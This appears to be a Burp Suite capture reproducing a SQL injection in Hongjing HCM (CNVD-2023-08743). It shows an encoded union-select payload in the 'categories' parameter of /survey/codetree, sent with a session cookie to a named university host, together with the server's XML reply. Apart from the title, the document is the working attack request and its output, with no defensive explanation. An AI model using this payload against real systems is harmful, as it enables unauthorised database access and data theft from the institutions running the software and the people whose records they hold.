

宏景HCM SQL注入漏洞复现 (CNVD-2023-08743)

1920212223242526333435+

SendCancel<>

Target: https://gkzp.hrbmu.edu.cn:8080

HTTP/1

Request

PrettyRawHex

1 GET /survey/codetree?categories="31"27"20union~20all~20select~20"27hongjing~27"2c~40~40version~2d"2d

2 &codesetid=&flag=&parentid=&l&status=1 HTTP/1.1

3 Host: gkzp.hrbmu.edu.cn:8080

4 Cookie: JSESSIONID=3CD00809B51FCF752787D69A3D8054D3

5 Cache-Control: max-age=0

6 Sec-Ch-Ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"

7 Sec-Ch-Ua-Mobile: ?0

8 Sec-Ch-Ua-Platform: "Windows"

9 Upgrade-Insecure-Requests: 1

10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36

11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

12 Sec-Fetch-Site: none

13 Sec-Fetch-Mode: navigate

14 Sec-Fetch-User: ?1

15 Sec-Fetch-Dest: document

16 Accept-Encoding: gzip, deflate

17 Accept-Language: zh-CN,zh;q=0.9

18 Priority: u=0, i

19 Connection: close

20

Response

PrettyRawHexRender

1 HTTP/1.1 200

2 x-frame-options: SAMEORIGIN

3 X-XSS-Protection: 1; mode=block

4 X-Content-Type-Options: nosniff

5 Content-Type: text/xml; charset=GBK

6 Content-Length: 94

7 Date: Fri, 07 Jun 2024 06:59:16 GMT

8 Connection: close

9 Server:

10

11 <?xml version="1.0" encoding="GB2312"?

12 <TreeNode id="\$800" text="root" title="root" />

13

14

15

Inspector

ln

Request attributes2

Request query parameters5

Request body parameters0

Request cookies1

Request headers17

Response headers8

0 matches

0 matches

Done

329 bytes | 289 millis